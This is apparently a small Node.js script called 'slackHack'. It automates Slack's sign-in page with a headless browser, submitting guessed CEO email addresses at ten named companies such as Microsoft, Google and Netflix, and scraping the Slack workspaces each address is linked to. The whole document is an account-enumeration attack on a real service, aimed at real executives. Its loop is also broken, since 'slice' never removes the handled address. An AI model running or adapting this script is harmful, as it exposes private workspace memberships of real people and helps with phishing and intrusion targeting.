var cheerio = require('cheerio');
var Nightmare = require('nightmare');


var emails = []
emails.push("ceo@microsoft.com")
emails.push("ceo@google.com")
emails.push("ceo@netflix.com")
emails.push("ceo@about.me")
emails.push("ceo@rdio.com")
emails.push("ceo@heroku.com")
emails.push("ceo@medium.com")
emails.push("ceo@buzzfeed.com")
emails.push("ceo@soundcloud.com")
emails.push("ceo@typekit.com")

slackHack(emails[0])

function slackHack(email) {
  new Nightmare()
    .useragent('silly')
    .goto('https://slack.com/signin')
    .type('.control-group input', email)
    .click('.btn')
    .wait()
    .screenshot('./shot.png')
    .evaluate(function (page) {
      return document.documentElement.innerHTML;
    }, function (res) {
      $ = cheerio.load(res);

      var groups = [];

      $('a.btn-outline.small_right_margin').each(function(i, elem) {
        groups[i] = $(this).text().replace(/Sign up for/ig,"");
      });

      var domain =email.substr((email.indexOf("@")+1));
      console.log(domain + " groups:", groups.join(','));

      emails.slice(0,1);
      if (emails.length) {
        slackHack(emails[0]);
      } else {
        return;
      }

    })
    .run();
}